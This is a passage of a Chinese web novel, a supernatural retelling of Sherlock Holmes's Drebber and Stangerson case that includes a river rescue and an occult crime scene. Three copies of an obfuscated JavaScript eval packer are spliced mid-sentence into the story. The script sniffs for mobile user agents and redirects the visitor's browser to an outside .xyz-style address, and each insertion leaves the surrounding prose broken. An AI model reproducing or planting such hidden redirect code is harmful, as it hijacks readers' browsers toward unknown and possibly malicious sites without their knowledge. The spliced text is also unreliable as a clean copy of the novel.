歇洛克将吹倒在长椅上的书本掀开，重新倒回去的时候，对门边正拿着秘银镣铐往老妇人手上铐去的雷斯垂德喊道： “不用白费劲了，这不过是凶手杰弗逊·霍普特意找来的替身而已。” 约翰转过头去看。 果然刚才借用自己控制狂风能力的雷斯垂德，虽然出其不意控制住了挣扎不已的老妇人，但当歇洛克说出这个结论的时候，她就停止了挣扎。 蒙住身形的破旧毛毯掉落在地，露出的是粗糙烂制的人偶关节。 随着雷斯垂德松手的刹那，约翰又一次嗅到了某种草木燃烧的气味。 雷斯垂德伸手拍在人偶的后背上，找到那里隐藏的暗匣开关。 一股浓郁的草木灰气息蔓延出来。 “居然是仪具。”雷斯垂德眉头紧锁，“但看不出来是谁做的……竟然能销毁得如此彻底。” “看样子又有新的使者暗中进入了伦敦。” 歇洛克半眯着眼。 “雷斯垂德，你或许应该向苏格兰场要第二份工资了。” 雷斯垂德叹了口气。 “这也是仪具的一种？我一直以为仪具只是一个固定的静物而已。” 约翰在这具老妇人人偶旁边蹲下，仔细看着它。 失去了毛毯的遮盖，它看起来就像是不入流鬼屋里，根本吓不到人的道具。 但就在几分钟前，它居然还能和活人一样与歇洛克流利的对话。 重新闭上双眼的歇洛克说道： “仪式阵法分为很多种，仪具的效果当然也不可能是单一的。” “但无论是仪阵还是仪具，都需要用到名为月光花和群星草的植物。” 约翰立马反应过来，“就是这些草木灰吗？” “昨天我们在现场是不是也见到过？” “没错。”歇洛克回答，“这也是雷斯垂德第一时间将这个案子，认定是使用超凡能力的使者或恶魔做的原因。” “问题是现在我们要如何找到凶手，这家伙狡猾，哪怕是有鱼饵也不愿意上钩。” 雷斯垂德有些焦虑。 “不用担心，他最重要的东西在我们手中，就不用担心他不会再来。” 歇洛克说道。 也就是在这时，约翰忽然想起他刚才说的话。 “不过歇洛克，你是怎么知道这个凶手的名字是叫杰弗逊·霍普的？” 歇洛克刚想开口，就被从起居室门口的另一个声音打断。 “队长。” “福尔摩斯先生、华生先生。” 赶来的梅森说道： “葛莱森警探说，他已经抓到了真正的凶手……阿瑟·夏朋婕。” 歇洛克眯起眼，“哦……错误的推论导致愚蠢的后果，很明显他抓错人了。” 8. 08 阿瑟·夏朋婕神情不善地盯着眼前的葛莱森。 “这位警探，我已经说过了！锥伯和他的秘书约瑟夫·斯坦节逊，的确几天前暂时租下我们家的房子落脚。” “但我当时和锥伯发生争执和冲突，是因为那个该死的美/国/佬先对我姐姐爱丽斯动手动脚！” 阿瑟·夏朋婕的姐姐爱丽斯·夏朋婕，与他们姐弟两人的母亲站在一起，同样面色难看地看着葛莱森。 葛莱森胸有成竹地说道，“然而阿瑟·夏朋婕你是个药师，又恰好在这几天和锥伯发生过争执，锥伯又恰好死于毒药发作。” “这么多的巧合，反而就不是巧合了吧！” 阿瑟捏紧拳头。 “我要是想杀那个流氓，还需要这么显而易见的手段？！” “别说了阿瑟！” 他的姐姐爱丽斯面色苍白，身体摇摇欲坠。 原本锥伯动手动脚这件事，加上邻里的风言风语，最主要的是日常使用超凡能力，导致的幻觉幻听，已经够让她觉得痛苦，现在找上门的警探更让她快要神经衰弱。 四周无形的视线似乎已经快变得和针扎一样，爱丽斯觉得那或许是代表自己距离即将堕落的悬崖又近了一步。 她和弟弟都身负超凡能力，可没有通过教堂魔药得到的力量更加不纯，距离魔鬼似乎也就更近。 近期她的幻听幻视都变得越发严重，甚至在前几天锥伯这个不知死活的家伙想对她占便宜的时候，切实动过杀了他的念头。 不过弟弟和母亲的出现，让她清醒过来。 伦敦不同其他地区，福音教总会亦伫立在这里。 如果她敢对一个普通人使用超凡力量，那必定是要被关押处刑。 到时候她的家人该如何是好？她完全不清楚超凡力量的老母亲怎么办？ 所以她忍住了内心中来自魔鬼的诱惑。 可没想到，锥伯还是死了，并波及到了他们一家原本安静的生活，引来了不必要的关注。 爱丽斯又揉了揉太阳穴，感觉那里突突地疼。 葛莱森盯着他们。 “爱丽斯·夏朋婕小姐，你应该明白，现在我们是怀疑夏朋婕先生就是凶手……” 爱丽斯看着这名警探一张一合的嘴，想起在河中污水里逐渐腐烂发臭的鱼重新睁开泛白的眼珠，并说着令人不快的话语。 她忽然感觉一阵愤怒，感觉自己明明身负不一样的力量，竟然还要在这里听如此愚蠢和不讲道理的发言。 将这条臭鱼从水里拎出来，再踩烂一次如何？ 爱丽斯忽地紧紧闭上眼睛，然后再睁开的时候，态度极为冷漠地，对滔滔不绝的葛莱森发出警告。 “如果你再这样口无遮拦地诬蔑我们，我不介意告你诽谤，并让你付出代价！” 她感觉头脑昏昏沉沉。 她需要药。 需要更多的特效药来稳定自己岌岌可危的理智状态。 *** “我没想到葛莱森居然找到了，锥伯和他的秘书斯坦杰逊曾经落脚的地方。” 歇洛克翻阅了一遍夏朋婕一家的资料，然后指着他们一家身高都不算太高的照片说道。 “这里面三人有谁的身高和凶手差不多吗？” “但看目击者的说法，阿瑟·夏朋婕曾经在锥伯去世前几天晚上，和他发生过言语争执和肢体冲突。” “如果不是见过你条理清晰的推理，我也会根据经验和思维惯性，以为阿瑟·夏朋婕是凶手的。” 约翰接过他手里的资料看了看。 “争执如果能当做行凶的证据，那整个伦敦一天得有上百起凶杀案。” 歇洛克说道。 雷斯垂德不由喃喃说道。 “说实在的，福尔摩斯先生，您有时说的话，逻辑清楚得让我觉得可怕。” 毕竟他清楚知道眼前的“人”曾经以非常人的姿态出现过，或许“歇洛克·福尔摩斯”也不过是其伪装之一。 但祂拥有着和人类如此类似但不同的思考方式，包含着绝对清晰的逻辑推演，和冷静淡然的分析推理。 立起竖高领，戴着压低黑帽的马车夫，驱赶着马车来到夏朋婕住宅附近。 他们三人下车，步行路过一条流速湍急的河边。 “这些天伦敦附近矿区的水坝似乎被有心人破坏，导致有些城区一直被泡在水里。” 约翰看了看水面说道。 “污水可能会导致瘟疫的蔓延……报纸上也对这件事的主谋争执不休。” “那片矿区属于艾斯公爵，紧邻在一起，属于福诺克大公名下的矿区，也一样损伤惨重，但在报纸上公开指控凶手是另一位大公福诺克的，不是艾斯公爵，反而是亨伯侯爵。” “福诺克和亨伯两家素有积怨，吵起来也不奇怪。” “艾斯公爵现在摇摆不定，女王陛下牵制三方，但这件事影响不小，需要给出一个令公众满意的答复。” “现在三方口舌都在报纸上混战，说到底也是为了政治利益的博弈。” 歇洛克不甚在意地说道。 约翰有些忧心，“至少福诺克公爵和其夫人不仅捐款了钱财，还第一时间提供了药物。有时候药物的防治实在太重要。” 忽地他声音一顿。 没等到他下半句的歇洛克和雷斯垂德回过头去。 只见他正看向河边。 准确地说，是看向站在河边的某个年轻女性。 那人的面容显得有些憔悴，眼圈周围的黑色说明她这些天时常经受失眠的折磨。 “怎么了吗？” 就在雷斯垂德说完这句话的时候。 歇洛克忽然说道，“她要跳河！” 话音落下之前，约翰已经冲了出去。 两个重物接连落水的声音叫人一时间难以做出反应。 “喊人！”歇洛克飞速说道。 “我去喊人！”雷斯垂德立马往街角跑去。 超凡力量在现实世界多有限制，不到五阶强者都是难以改变现实的铁律。 他能在贝克街吹起的狂风，但在伦敦其他街头，只会变成一阵将旗帜吹得飒飒作响的微风而已。 “来不及了！” 水流湍急，如同某只凶猛野兽张开的血盆大口。 歇洛克看了眼浑浊的水，直接甩开风衣也跳进了湍急的河水中。 雷斯垂德没想到祂竟然这样做。 他甚至来不及多说一句话，内心就已经被惊愕所占满。 难道“歇洛克·福尔摩斯”真的只是一名咨询侦探？抑或者是约翰·华生医生太过重要，所以让祂毫不犹豫跳水救人？ 不管是哪个推论，都是足够令他震惊的事情。 湍流的河水会像鞭子狠狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772472|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽打没有准备就入水的人，吸满河水的衣物更是会像负重的钢铁，拖着人往河底沉去。 河底的淤泥杂物撞得人生疼，约翰勉强睁开眼，看见浑浊的水中，刚才站在河边的女性挣扎着想要浮上去，但从水底的淤泥中伸出一只又一只黑漆漆的手要抓住她的脚踝，拖着她往更深的河底沉去。 爱丽斯·夏朋婕绝望地睁大眼睛，伸出的手徒劳地在水中试图抓住什么自救。 但湍急的水流里只有虚无的流动感。 失温的冰冷会逐渐带走她的意识。 爱丽斯忽然意识到，或许自己正在支付曾经向魔鬼提前贷款赊来的幸福代价。 她获得超凡力量，以魔药知识成功在寸土寸金的伦敦买下一栋房子。 如今嫉妒的恶魔向她讨要报酬。 令她沉于冰冷的河底，只能仰望上空温馨的幸福。 羡慕会掐住她的嗓子，令她呼吸困难，窒息痛苦，最后魔鬼会以绝望调味她的灵魂，叫她堕落成恶魔后，再被收割品尝。 从鼻尖唇边泛起的气泡越来越少，二阶的超凡能力者还无法抵抗现实世界的铁律法则。 无法摆脱的水下环境会让她窒息身亡。 爱丽斯的手开始无力地瘫软下来，水流里像有一只无形的手压着她的头往更黑暗的深处倾去。 也就在她快要彻底绝望而放弃的时候，有另一只手猛地扯住了她的胳膊。 爱丽斯勉强睁开眼，看见一个人像是努力在对自己说什么。 水波搅动的声音，让声音也变得浑浊不清起来，但她还是意识到，这是有人来救她，这是有人在对她呐喊，不要在这紧要关头放弃！ 约翰看见这位女士似乎还要求生的意识，于是赶紧扯着她往岸边游去，但水底那些黑漆漆的，好似水草一样的东西又一次将他也一起扯住。 约翰紧紧拉着她的手臂，嘴边溢出的气泡遮住了他的视线，影影绰绰之间他又一次蹬水，但晃动的小腿完全没有碰到任何存在。 脚踝那里的重力拉着他继续往下。 缺氧的窒息感逐渐蒙住他的神智，头顶的日光像是变成了朦胧的白色光斑，世界远离他，他仿佛坠入无底的深渊，听到了窥视着人类美味灵魂的魔鬼在窃窃嘲笑着，他们竟然妄想在庄家通吃下翻盘的无知与愚蠢。 好像快撑不住了…… 约翰呛进了更多的水，模糊的意识即将不能继续支撑着他思考。 “哗啦——！” 就在他也快昏迷的时候，头顶有一束光像是真的破水而来，拉扯住他的手臂，将他连带着他手中的女士，一起浮出水面。 约翰大口大口呼吸着人类赖以生存的氧气，看见将礼帽、手杖全部丢在岸边，现在也浑身湿漉漉前来下水救人的歇洛克。 庄家通吃的局里……竟然真的有人打破绝望，改写了最后的结局。 他忽然觉得，眼前这个和自己一样泡在水里的人看起来不再是那么陌生和疏远。 那本不知所终的笔记本里写下的福尔摩斯，和眼前的这个人又有如此明显的不同，如果是他的文字成了真，冰冷的推理机器根本就不会有这样的举动。 约翰诚恳地道谢，“我没想到你会跳下来……但，谢谢你，歇洛克。” 同样成了落汤鸡的侦探臭着一张脸。 “如果不是你突然冲出去，我也没想到我会跳下来。” 9. 09 将爱丽斯·夏朋婕小姐送回她的住所时，她年迈的老母亲几乎快哭成了泪人，四周的邻居看着他们议论纷纷，她年轻的弟弟阿瑟怒气冲冲地看向周围，吓得那些人纷纷后退几步，赶忙收回好奇打量的视线。 爱丽斯紧紧拽着笼罩住自己的斗篷，虽然嘴唇发白，但仍没有忘记礼貌和道谢。 “两位先生……太感谢你们的奋不顾身。” “谢谢。” 她对自己的弟弟说道： “阿瑟，请你先带两位先生换身干净的衣物，烤烤火去寒，我来和那位葛莱森警探继续说锥伯当时的情况。” 约翰听见她说话时条理非常清晰，完全不像在河边浑浑噩噩，好似活不下去要轻生的模样。 这时同样裹着毛毯，额边有几缕发丝不服管教翘起的侦探高声说道： “哦，葛莱森还在这里！雷斯垂德，你难道不打算管管这位同僚，省得他干出更愚蠢的事情？” “我会和他说的。” “你们需要请医生来看看吗？” 刚找来人将他们三个从污浊恒流的河里捞上来的雷斯垂德按按自己的眉心，不知道为什么开始怀疑起，自己之前觉得歇洛克恐怖的心理是从何而来。 但抛开那种没由来的恐惧，毫无疑问，福尔摩斯这样一位游离于社会常人性格范畴之外的家伙，除了极少数人以外，真的都觉得很难相处。 约翰将雷斯垂德拉到一边来。 “或许你们还需要为那位女士找一位心理医师。” 心理医师只是一种别称，他们在前线的时候，总是将那些身着白袍，有着福音教会标志的牧师们称为“医师”，和他们这些医生以作区分的是，医师们总是用一些水晶瓶子里的药水，给那些狂躁不安的战士们进行心理治疗，让他们的灵魂重回主宁静的怀抱之中。 现在他回想起来，一时间也不确定，刚才在水下抓住自己脚踝的是真实的黑色手掌，还是根据水草之类的存在，幻想出的什么古怪东西。 不过他觉得雷斯垂德应该能听懂他的暗示。 雷斯垂德正色，“医生，那位女士可能不仅仅是需要一位医师。” 他指了指自己的胸口。 “她的心口有与魔鬼交易的印记。” 不是通过福音教会洗礼的超凡能力者心口都有恶魔留下的烙印。 那圈黑铁一样的印记，不仅印刻在皮肤上，更直接刻印在他们的灵魂中，无论如何搓洗或者掩饰，都无法将其抹除。 印记越深，说明灵魂被侵蚀得越是严重，虽然可以通过一些特殊的药物和手段进行控制，但当颜色达到乌黑的时候，往往就意味着这个超凡者彻底从人类堕落成了没有任何理智和同理心，只单纯渴求吞噬其他生者灵魂的恶魔。 “她已经堕落了？”约翰一愣。 “不可避免的。”雷斯垂德面色沉重，“走投无路的人总想再压上自己最后的筹码，妄图在与魔鬼的博弈中绝地翻盘。” “但这样的奇迹又能有多少？” “往往都是满盘皆输，最后连自己的灵魂也不曾留下地输给魔鬼们。” 他看向脸色苍白，轻声安抚着自己落泪母亲的爱丽斯。 “她和她的弟弟也是如此。” “灵魂逐渐腐朽的气息已经快遮盖不住，就算我们不出手，她自己也会不停地继续堕落，直至灵魂布满尘埃，被魔鬼们收走，品尝最后的价值和滋味。” “你们打算上报第五组，通知他们前来将这对姐弟杀死吗？” 歇洛克像是刚从夏朋婕的房屋里走了一圈。 两个伦敦绅士此刻都湿漉漉地裹着毛毯，凑在墙角里和他说话，仿佛他们三人像街边秘密接头的暗探线人一样。 雷斯垂德不习惯地动了动。 他还是没习惯这位会主动参与对话之中，不过看医生完全不觉得变扭的样子，他忽然又觉得自己刚才的心里想法有些太扭捏。 他换了个姿势，使自己眼角的余光能一直看到夏朋婕姐弟的同时，对侦探和医生说道： “第五组的确负责格杀那些恶魔……不过他们还没有完全堕落成恶魔。” “按照女王陛下的旨意，没有实际害人的超凡者，不会直接将他们送上刑场，但必须时刻在教会使者的‘注视’下，定期去教会进行洗礼以逐渐减轻魔鬼烙印的影响。” 约翰松了口气。 反而是歇洛克挑起眉。 “即便他们是潜在的可能犯罪者，你们仍旧愿意给他们一次机会？” “歇洛克！”约翰的声音稍稍提高了些，“如果没有犯罪，就不应当以先带上偏见去考量他人！” “如果一个人心中始终有犯罪的想法，可这人能约束住自己不作恶，那就应当对其抱有更大的尊敬！” 雷斯垂德看向依偎在自己弟弟和年迈母亲身边的爱丽斯，低声赞同约翰的说法。 “也许正是因为他们心中，还有对生活在这个世界里他者的爱，所以才没有最终堕落成无可救药的恶魔。” 歇洛克听着他们的话语，没有给出回应。 反而是阿瑟·夏朋婕在与葛莱森那边又交谈几句后不欢而散。 他左右看看，见到站在街角的三人后主动走来。 “警探、还有两位先生。” 此刻他脸上没有任何暴躁和不满。 他诚恳地道谢。 “谢谢你们的帮助，否则今天我和母亲可能会失去姐姐。” 约翰摇摇头，“不用谢，这是我和……我的朋友能尽自己所能的帮助，也是绅士应该有的良好品德。” 阿瑟不由感慨，“如果锥伯那个混蛋也能像您一样懂得礼貌，那天晚上我也不会威胁他，让他离我姐姐远点。” 这时歇洛克不动声色地问道，“夏朋婕先生，恕我直言发问，那天晚上你和锥伯先生争吵完后，你知道他单独去往哪里了吗？” 锥伯回忆了一下当初的经过。 “那时的锥伯已经喝的醉醺醺的，不过倒是记得要赶回秘书斯坦杰逊的身边。” 说着，他脸上露出不屑的神色。 “锥伯家伙平日里胆小如鼠，不管走到哪里都要靠着斯坦杰逊，恐怕他的秘书还要兼职保镖，也不知道锥伯会不会付他两倍的薪水。” “斯坦杰逊没有和他一起住在这里吗？” 歇洛克问。 阿瑟摇头。 “准确说，他们前几天一直都住在我家。” “但就在前天，我听见斯坦杰逊急匆匆来找我姐姐，说要退房离开。” “我母亲好奇多问了一句，毕竟他们的船票还有几天的时间，现在退房的话，也不会将那几天的房租一并退还。” “另外因为是短租，我们当初的报价并不低，不过他们当时租房的时候，像是着急找一个落脚地，所以给钱给得很爽快。那时锥伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772473|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那家伙有些不满，但斯坦杰逊拉住他去外面说了几句，回来后锥伯就同意了退房这件事。” “那么，那天晚上，是锥伯的秘书斯坦杰逊传讯息给他，让他去新的住所去？” 歇洛克说道。 “没错。”阿瑟肯定，“我威胁过他以后，锥伯嘴里还不干不净地又骂了几句脏话，这才坐着马车离开。” “哈……这么急匆匆地要离开伦敦，离开英国，明明已经没有钱财，却不在意能否收回房租。” 歇洛克像是找到了有趣的新玩具，此刻沉迷于探索它的趣味之处。 “太显而易见了！” “他们是为了躲避仇家，才放弃了收回价格高昂的房租。” “如果我的推理没错的话，锥伯遇害的那天晚上坐的必定是辆公共马车。” “在被追杀的途中，放心地登上一辆马车，愿意与其共处一室的陌生人实在是太好猜了。” 街角的马车飞速驶过，载着他们三人从贝克街而来的那辆马车也停在夏朋婕屋门前，黑色的骏马朝着他们打了个响鼻，竖着黑色高领，头戴压得很低礼帽的车夫低头沉默不语。 “难道……”约翰的眼睛瞪大，“是车夫！” “只有赶马的车夫才理所当然在马车上，他带来了秘书的口信，说要带他去新的住所，所以即便那是陌生人，锥伯也会放心地登上马车！” “没错！” 歇洛克饶有兴趣地说道： “有趣的身份！” “不过我更感兴趣的是，他到底用了什么办法才杀害了锥伯。” “我听闻是用了毒药。” 阿瑟说道： “两位先生，还有这位警探，我想说，虽然我们家的确是还经营着一些草药生意，但我们绝对没有用毒谋杀锥伯！” “案发的那天晚上，我与姐姐和母亲三人都一直在家！怎么可能去那空房间毒杀锥伯！” 眼看面前的青年有些激动的模样，雷斯垂德按住他的肩膀。 “我们正是为了找出最后的凶手而来。” “不过夏朋婕先生，首先我要提醒你们的是，你们的超凡力量……恐怕不是通过教会的正规洗礼而来吧。” 阿瑟身形一僵。 “等等你们难道不只是苏格兰场——” 雷斯垂德从自己衣袋中抽出一枚秘银徽章，上面刻有云雾中的天使剪影。 阿瑟瞳孔放大，语气里满是不可思议。 “白骑士团……是真的？！” 看起来只是一名苏格兰场警探的中年男人将徽章收起来。 “放心，如果你们确认无罪，我们不会强制对你们做出什么裁决。” 就在阿瑟忐忑不安的时候，约翰也拍拍他的肩膀。 “我敢保证这位先生正直公正，不会让你和你的家人受到不公的对待。” 而在另一边，裹着毛毯的歇洛克刚结束和街角某个流浪儿打扮的孩子谈话，在付出一些硬币后，他回到三人旁边。 “找到凶手不过是时间问题。” “锥伯的秘书现在情况如何？” 也就是在他说完这句话没过多长时间，雷斯垂德的下属梅森沉着脸急匆匆地走来，然后告诉他们另一个最新消息。 “斯坦杰逊被人发现死在靠着渡轮码头的小旅馆之中，死因是心脏部位中刀，但浑身的血液也是被抽得干干净净，不见半点踪影。” 10. 10 听到梅森汇报的雷斯垂德满脸惊讶。 “没有中毒的痕迹？” 梅森摇头，语气肯定，“是的队长，没有任何类似锥伯死亡时中毒的痕迹。此外，在旅馆的房间里，还发现了两颗不同颜色的药丸，现场具有扭打的痕迹，其他人走访周围时，有人说夜深之际，的确听见有人摔门而出的声音，但因为太晚，没有人见到那家伙的模样。” 歇洛克说道： “这就说明，中毒不是导致他们死亡的必要原因。” “药丸只是凶手给被害者的一个选项而已。” “出现扭打的痕迹，说明凶手的实力没有强到可以一击必杀自己的目标，还需要借助一些外在的工具。” “另外。”梅森指了指自己的心口处，“和锥伯不同，他的秘书斯坦杰逊是一名使者。” “依照印记被侵蚀的程度来看，估计是三阶实力者。” 雷斯垂德表情凝重。 “三阶？和我一样的实力。” 歇洛克语气上扬，兴致盎然。 “哈——！一个超凡能力者！” “即便是最不擅长战斗的使者，达到三阶后，他的躯壳强度也远超常人。哪怕没有经过专业的训练，对上普通人的刀剑，也有非常灵敏的反应速度。” “但是他死了！” 旁听的阿瑟紧张起来，“我们一家从昨晚就被葛莱森一直询问案件的情况，我们是不可能再去杀害斯坦杰逊的！” 歇洛克说道，“你们当然不是凶手。” “虽然我已经知晓明面上的谜底，不过更有趣的是，凶手到底借助了谁的力量杀死了一名三阶的使者。” “走吧，两位先生们！我们该去斯坦杰逊死亡的现场看看了！” 葛莱森暂时被他们留在了夏朋婕家的住宅那里，载着他们来的车夫尽职尽责地再度驱赶黑色骏马，带着他们奔赴伦敦热闹的渡轮码头。 约翰觉得自己从未这么疯狂过。 在战场前线时，满身血污实在再正常不过，可在繁华喧嚣的都市中，他们还满身是水，裹着毛毯就在探案的模样，令他在日常的秩序里感受到了荒诞。 但就是这样的疯狂，更令人觉得着迷和上/瘾，好奇像挠着爪子的猫催促他，赶紧跟上侦探的步伐，一探事情背后的真相。 于是他们赶到斯坦杰逊被害现场的时候，不出意外地引来在场所有人的注目。 只不过那些戴着白手套的人员，看了眼载着他们前来的黑色马车时，所有人很快又迅速移开视线，像是把他们当作了无关紧要的路过者。 约翰打量了一下四周。 小旅馆这里的氛围明显要比夏朋婕一家那里更紧张。 往来的人员大多专业且沉默，只埋头认真做着自己要做的，和应做的事情，如果不是发令，所有人绝不会主动抬头去干自己本职以外的其他事。 所以哪怕是歇洛克和华生看起来一点也不得体地路过，也没有人表露任何的异样眼神。 走进旅馆房间内的时候，梅森一直在低声说着斯坦杰逊被人发现死亡时的情况。 第一发现人是这间小旅馆的老板，经过调查发现他只是一个普通人，如果抓到凶手，事后估计还要请医师帮忙清除他的记忆等等。 直到他们看见了倒在地上，满脸愤怒和恐惧死去的斯坦杰逊。 约翰第一时间注意到了尸体侧身倒下时露出的刀伤，以及一旁狰狞仓促的血字。 “又是‘RACHE’？” 约翰说道。 雷斯垂头感觉自己头疼不已。 “该死，不会是伦敦地下又兴起了什么信奉魔鬼的教/派团体。” 约翰嗅到阵阵飘来的特殊清香，这种香气悠长绵延，经久不散。 他迅速回头环顾四周。 歇洛克敏锐地察觉到了他的发现，看了眼他的动作后，他说道： “看样子华生你发现了什么。” “……一些气味……你发现了仪式必备的月光花和群星草了吗？” 雷斯垂德下意识看过来。 “我什么都没发现。” “我也没见到，可的确有那股特殊的草木灰香气……难道是我闻错了？” 约翰有些不确定地说道。 歇洛克反而肯定他的发现。 “别人没有发现，不代表你的发现就是虚假和错误的。” “大胆地假设，小心地求证，才是推理的魅力之一。” 他绕着斯坦杰逊的尸体走了两圈，最后指着他心脏中刀的部位。 “华生说得没错。” “杀了斯坦杰逊的的确是匕首，但匕首是由月光花和群星草所制。” “这两种特殊的超凡素材，都是为了增强与‘上位存在’的连接性而添加的，只留下创伤，却不见匕首，说明这一整个匕首都是超凡素材所制。” “拥有如此链接的工具，动手杀了斯坦杰逊的，不是锥伯。” “而是降临在锥伯身体里的某个存在罢了。” 雷斯垂德的神色更糟糕起来。 “那有没有可能是凶手把匕首从现场带走了？” “想要做出那种效果的超凡仪具，恐怕整个伦敦都很难找出几个仪具师来。” “雷斯垂德。”歇洛克说道：“仔细看斯坦杰逊死亡的伤口。” 所有人的视线下意识移过去。 约翰清晰地看见刀口四周密布一圈草木灰，难怪歇洛克刚才那么笃定是杀害斯坦杰逊的匕首会是特殊的仪具。 可接下来的一幕令他缓缓瞪大眼睛。 伤口附近的草木灰像在重新复燃，它于人体的皮肉表面灼烧出恐怖的黑色焦痕，下一秒腐朽的皮肉里爬出细密的植物根茎，红得刺眼，接着仿佛随时会滴落鲜血的玫瑰从中诞生。 两颗药丸从迅速枯萎的玫瑰花心中滚出，咕噜噜转到他面前时，又成了斯坦杰逊的两颗眼球。 死去之人的左眼里装满了愤怒，右眼里又灌满绝望。 凋零的玫瑰单独生长出一张人类的嘴唇，说话时会露出细密尖锐如同鲨鱼一样的牙齿。 玫瑰说：“复仇（RACHE）。” “咚——！” 什么重物猛地倒地的声音，打断了约翰的思绪。 眼前诡异难言的场景瞬间烟消云散，只不过恍神的刹那，约翰再看过去的时候，只看见斯坦杰逊胸前的刀伤还只是一个平平无奇的痕迹而已。 但他们身后的梅森已经手脚抽搐地倒下，他嘴唇泛青，迹象与锥伯死亡时被发现的中毒模样意外相似。 约翰一惊，赶紧先回身救人。 “雷斯垂德！” 但雷斯垂德同样情况糟糕，他感觉大脑里所有的东西都像被一根烧红的铁棍搅得稀巴烂。 视线所及的范围里，曾经空空荡荡的房子里长满了鲜红的玫瑰。 玫瑰们扭动着柔软的根茎和枝叶，如同生长出嘴唇和眼睛的森林包围住了他。 “还在看，还在看。” “还在听，还在听。” “那就不要停下注视！” “那就不要停下倾听！” “来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772474|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来来。” “来呀——！加入我们！” 雷斯垂德感觉自己的大脑和身体像是分别产生了自我的意识，只剩下灵魂被困在躯壳里，看着自己的嘴唇自顾自地开始发出回应。 “██████” 他说了什么？ 不清楚，不知道，不明白！ “██！██！” 他又说了什么？ 无法理解！ 玫瑰们拥挤在一起，发出稀稀索索又吵嚷纷杂的回答。 “██” 直至有人喊出他的名字，雷斯垂德才从刚才那噩梦一样的场景中抽身离开。 瞬间，那种不容忽视的恶心感攥住了他的胃部，令他不能自己的第一时间呕吐不止。 直到他将胃袋里的食物全部吐光，那种极其痛苦的恶心感才消退一些。 他看见倒在地上的梅森，和在一旁为他做紧急处理的约翰。 他拖动像是快融化成玫瑰根茎的两条腿，哑着嗓子喊道： “需要找医师来！” 约翰看着昏迷的梅森被接走时，还有些担忧。 “他真的没事吗？” “受到侵蚀的程度不深，教会的医师会负责清理灵魂中的污浊的。” 雷斯垂德刚吐完，形象差得和他与歇洛克不相上下。 虽然不像梅森刚才仔细看了一眼斯坦杰逊的尸体就昏迷，但他现在的状态看起来也相当糟糕。 约翰对他说道：“真的不用再休息一下吗？” 雷斯垂德摇头。 “仅仅是看一眼伤口，就会导致灵魂的污浊，理智的溃散……如果继续放任凶手自由行动下去，难以想象今晚的伦敦会在暗面诞生多少恶魔。” 约翰想到了之前在前线听闻那句话。 ——有些东西即便不存在实体，也会像瘟疫一样蔓延，再叫人染病、痛苦、和绝望。 “这也是超凡力量导致的吗？”约翰问道。 “准确来说，这还只是超凡力量留下的痕迹导致的。” 歇洛克将尸体暂时翻了个身，使其伤口被衣物遮住。 “但实力不够强大、心志不够坚定的人看到、了解后，就会像梅森那样晕倒，或是像雷斯垂德那样感觉恶心难受，若是精神更弱，受到这样的污染后，可能就会直接变成疯子，哪怕是福音教会的医师，也很难有将疯子再恢复理智的手段。” “当然这些还不是最糟糕麻烦的。” “有些被信息污染的人会变成新的污染源，接触他人的时候，这些人会继续传播污染，使更多的人堕入魔鬼的陷阱和诱惑之中，让他们堕落成无药可救的恶魔。” 雷斯垂德沉默片刻，像是重新鼓足勇气，这才问歇洛克。 “那么，福尔摩斯先生，您刚才从伤口里看到了什么线索是吗？” 他捏紧了口袋里的锡盒，里面放着特殊的镇定药品，可以在短时间内暂时缓解他的精神压力，稳定他的灵魂状态。 刚才虽然直视了伤口，可干扰的杂乱信息太多，他根本无法窥见其中的关键，如果贸然相信全部，极有可能会被那些信息引入南辕北辙的错误推论之中。 但今天的歇洛克·福尔摩斯有些反常。 他不像曾经电话里交谈时，那么爽快地给予回复，反而看向自己身旁的人。 “说起来，刚才华生你也看到了。” “我甚至以为那只是错觉！”约翰说。 11. 11 雷斯垂德后知后觉发现一件事。 “华生医生，你是说你刚才也看见了斯坦杰逊伤口的……异样？” 他甚至都没有用“诡异”这个词来形容，仿佛生怕自己的言语指向过于明确，就会再度引发那样恐怖的幻觉，或是引来某种未知的恐怖生物。 现在他看向那位表现平易近人的医生，眼里带上了明显的谨慎和审视。 “你现在感觉还好吗？需要请教会的医师再为你安抚一下精神吗？” 约翰说道：“不得不说，就像做了噩梦一样。” 对雷斯垂德而言，那何止是噩梦。 